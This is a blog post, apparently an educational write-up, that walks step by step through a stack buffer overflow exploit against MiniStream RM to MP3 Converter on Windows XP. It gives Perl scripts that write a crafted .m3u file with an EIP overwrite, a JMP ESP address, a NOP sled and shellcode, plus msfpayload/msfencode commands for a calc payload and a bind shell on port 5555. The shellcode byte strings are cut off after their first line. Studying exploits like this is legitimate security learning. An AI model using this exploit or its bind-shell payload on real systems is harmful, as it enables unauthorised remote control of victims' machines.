Thursday, 25 December 2014

Basic Buffer Overflow - MiniStream RM to MP3 Converter

This article explains a basic stack based buffer overflow for MiniStream RM to MP3 Converter and has been demonstrated on XP SP3. All links have been provided at the end of article.

I downloaded the vulnerable version [2.7.3.x] of the Converter to my windows victim box and checked if it worked. The basic PoC tells us that it is a file format based exploit. Since, the converter accepts the .m3u file format, we need to create a .m3u file and put our payload into it.

The Crash
If the vulnerability has an existing PoC, it helps us by saving the initial time required to find the length of the buffer that triggers the crash. So with this initial knowledge I wrote a perl script to check if I could crash the converter.

After some trying, the crash happened at roughly around 30000 bytes. Below is the code:

use strict;
use warnings;

my $file= "crash.m3u";
my $junk= "\x41" x 30000;
open FILE, ">$file";
print FILE "$junk";
close FILE;

print "Created m3u file successfully\n";

I loaded the converter in the debugger to find that A's provided by me have overwritten the EIP.

Locating EIP
Now I had to find the exact location of the EIP for my victim(the one mentioned the PoC didn't work). First, I divided the buffer into A's and B's to find in which section the EIP resides. I found it to be somewhere between 25000 and 30000.

Now to get the exact location of EIP,  I used 2 scripts from Kali- pattern_create.rb and pattern_offset.rb.  I created a random pattern of strings to overwrite EIP and used pattern_offset to get the precise location as follows:

Using pattern_offset above the exact location of EIP was found to be 1063. This I verified using different characters[B's] to separate EIP from others and verified in next crash as below:
A's : 25000 + 1063
B's : 4
C's : 1000

Hosting Shellcode
Now that we can control the instruction pointer, we need to find a place for our shellcode and point EIP to it. This will redirect the flow of execution [directly/indirectly] to our shellcode.

Ideally we can put our shellcode both in the first part[A's] and the last[C's]. I went ahead with the C's. We see that we can place the shellcode there and point the control to ESP to execute our code. Hence, now we need to find the instruction for JMP ESP(to jump to our shellcode in a reliable way) and write our shell code.
Found the ESP after 4 bytes '.1AB' shown above

Find Instruction
Using the debugger, I searched for the JMP ESP or FFE4[asm] instruction in the loaded application dlls and found it in MSRMCc_2 dll as :

01CFF23A                  //FFE4  :  JMP ESP: MSRMCc_2 dll

Writing Shellcode
First I created a shellcode for calc.exe followed by one to create a bind shell connection to the victim. I used mafpayload module from Kali for creating and encoding the shellcode for the exploit.


#msfpayload windows/exec CMD=calc R | msfencode -b '\x00\x0A\x0D\x6F' -t c

#[-] cmd/powershell_base64 failed: Encoding failed due to a bad character (index=1, char=0x6f)

#[*] x86/shikata_ga_nai succeeded with size 223 (iteration=1)

#$shellcode = $shellcode."\xd9\xf6\xd9\x74\x24\xf4\xbd\xae\xc9\xc6\x4a\x58\x31\xc9\xb1".















 Bind Shell on port 5555:

#root@Singularity:/usr/share/metasploit-framework# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=5555 R | msfencode 'x86/shikata_ga_nai' -b '\x00\x0A\x0D\x6F' -t c
Finally, I wrote my script to replace the value of EIP with the location for 'JMP ESP'  as found above. Following this, I added my shellcode(first the calc.exe and later bind shell code) preceded by some NOPs. The final code looks like :


use strict;

use warnings;

my $file= "crash.m3u";

my $junk= "\x41" x 26063;

my $eip = pack('V',0x01CFF23A);    # 01CFF23A JMP ESP:MSRMCc_2.dll

my $shellcode = "\x90" x 25;

#shellcode for windows_bind_shell

$shellcode = $shellcode."\xba\xc4\xaa\xc1\xec\xda\xcf\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1".

























open FILE, ">$file";

print FILE "$junk.$eip.$shellcode";

close FILE;
 I tried importing this .m3u file in the converter this time to pop calculator in the first case.

This confirmed that our shellcode executed successfully. I replaced this with our bind-shell shellcode and imported the new .m3u file generated into the converter.


Note: It is expected that the reader understands the concept of registers and memory.


No comments:

Post a Comment